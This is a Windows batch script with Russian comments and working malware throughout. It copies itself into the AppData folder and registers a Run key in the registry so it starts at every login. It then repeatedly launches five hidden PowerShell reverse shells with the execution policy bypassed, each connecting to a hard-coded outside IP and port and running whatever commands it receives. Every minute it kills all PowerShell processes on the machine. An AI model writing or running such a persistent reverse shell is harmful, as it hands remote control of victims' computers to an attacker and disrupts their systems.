1 | @echo off |
2 | setlocal enabledelayedexpansion |
3 | |
4 | REM Установите IP и порт для полезной нагрузки |
5 | set IP=139.59.228.234 |
6 | set PORT=22167 |
7 | |
8 | REM Счетчик для окон PowerShell |
9 | set count=0 |
10 | |
11 | REM Функция для уничтожения всех окон PowerShell |
12 | :kill_all_powershell |
13 | for /f "tokens=2" %%a in ('tasklist /fi "imagename eq powershell.exe" /nh') do ( |
14 | taskkill /f /pid %%a |
15 | ) |
16 | |
17 | REM Копирование скрипта в скрытые и редкие папки |
18 | set "target_dir=%APPDATA%\Roaming" |
19 | set "filename=payload.bat" |
20 | copy "%~f0" "%target_dir%\%filename%" |
21 | |
22 | REM Добавление в реестр для автозапуска |
23 | reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "payload" /t REG_SZ /d "%target_dir%\%filename%" /f |
24 | |
25 | REM Запуск 5 PowerShell с полезной нагрузкой |
26 | :start |
27 | set count=0 |
28 | |
29 | REM Запуск 5 PowerShell в цикле (запуск скрытых процессов) |
30 | for /l %%i in (1, 1, 5) do ( |
31 | set /a count+=1 |
32 | start /b powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$X1='%IP%';$X2=%PORT%;$X3=New-Object Net.Sockets.TCPClient($X1,$X2);$X4=$X3.GetStream();$Y1=New-Object IO.StreamReader($X4);$Y2=New-Object IO.StreamWriter($X4);$Y2.AutoFlush=$true;$Z1=New-Object Byte[] 1024;while($X3.Connected){while($X4.DataAvailable){$D1=$X4.Read($Z1,0,$Z1.Length);$J1=([Text.Encoding]::UTF8).GetString($Z1,0,$D1)}if($X3.Connected -and $J1.Length -gt 0){$D2=try{Invoke-Expression $J1 2>&1}catch{$_};$Y2.Write(\"$D2`n\");$J1=$null}};$X3.Close();$X4.Close();$Y1.Close();$Y2.Close()" |
33 | ) |
34 | |
35 | REM Ожидание 1 минуты перед уничтожением экземпляров |
36 | timeout /t 60 |
37 | |
38 | REM Уничтожение 5 экземпляров PowerShell через 1 минуту |
39 | call :kill_all_powershell |
40 | |
41 | REM Перезапуск с 5 новыми экземплярами после 1 минуты |
42 | goto start |